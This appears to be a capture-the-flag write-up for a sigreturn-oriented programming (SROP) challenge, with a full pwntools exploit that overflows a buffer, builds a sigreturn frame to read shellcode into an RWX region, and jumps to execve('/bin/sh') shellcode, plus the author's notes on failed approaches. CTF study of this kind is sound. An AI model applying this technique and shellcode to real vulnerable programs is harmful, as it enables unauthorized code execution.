# SummaryThis is a "signal return rop" or "srop" challenge. srop allows you to have complete control over every register via a sigreturn frame. `pwntools` is used to create the frame because it's a pain to build it manually. The srop will allow us to write shellcode into a read-write-execute region of the binary and as the final `rip` register, we jump to the beginning of that shellcode.
# Solution (`pwntools` template)```#===========================================================#                    EXPLOIT GOES HERE#===========================================================# Arch:     amd64-64-little# RELRO:    No RELRO# Stack:    No canary found# NX:       NX disabled# PIE:      No PIE (0x400000)# RWX:      Has RWX segments
io = start()
buf = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaaf"buf_len = len(buf) # lazy way for me to get to the `rip` register
rwx = 0x402000syscall = 0x40100e
t = 0x0401006 # mid-getsp = 0x0401017 # mid-puts
shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" # This shellcode doesn't work because it's it does a `mov al, 0x3b` which only moves 1 byte although much of `rax` contains other stuff so I need to overwrite at least `eax`shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
frame = SigreturnFrame()frame.rax = constants.SYS_readframe.rdi = constants.STDIN_FILENOframe.rip = loopframe.rsi = 0x402500 # somewhere in the middle of rwx regionframe.rdx = 0x1000frame.rsp = 0x402500
# We're doing a sigreturn method. Since 0x402000 is rwx # We write 0xf via the "mid-gets" (t) - this is so that we can write stuff to a specific area without error. The main thing is needing to write an arbitrary number of bytes which during the `write` syscall, puts the number of bytes written into `eax`. That way, we can have the sigreturn up and working. Then we basically jump back to the loop but change the stack to the middle of the rwx section at 0x402000# `filler` is useless herexpl = fit({buf_len: p64(t) + p64(syscall) + bytes(frame) + p64(rwx)}, filler=b'\x90')io.send(xpl)
# Writes the 0xf into eax via the syscallpause()io.send(cyclic(0xf))
# We write shellcode into the rwx section then figure out the alignment to jump back to the shellcode at the endpause()io.send(shellcode + cyclic(0x1fc - 18 - 9) + p64(0x402304))   # the weird cyclic() call is just to get to the `rip` register. I got lazy and just started adding and subtracting offsets until I got it
io.interactive()```### OtherI spent a lot of time butting my head against this binary during the CTF becuase I thought it would be a partial overwrite into the stack so I can run shellcode that's in the stack. The stack was `rwx` also. I kept thinking well I could try to execute shellcode on the stack- I could easily write to it but I didn't have the address- or I could write to this other `rwx` region in the code- I couldn't write to it easily but I did have the address. I went back and forth between the two and ultimately could neither make a partial overwrite work nor a stack leak.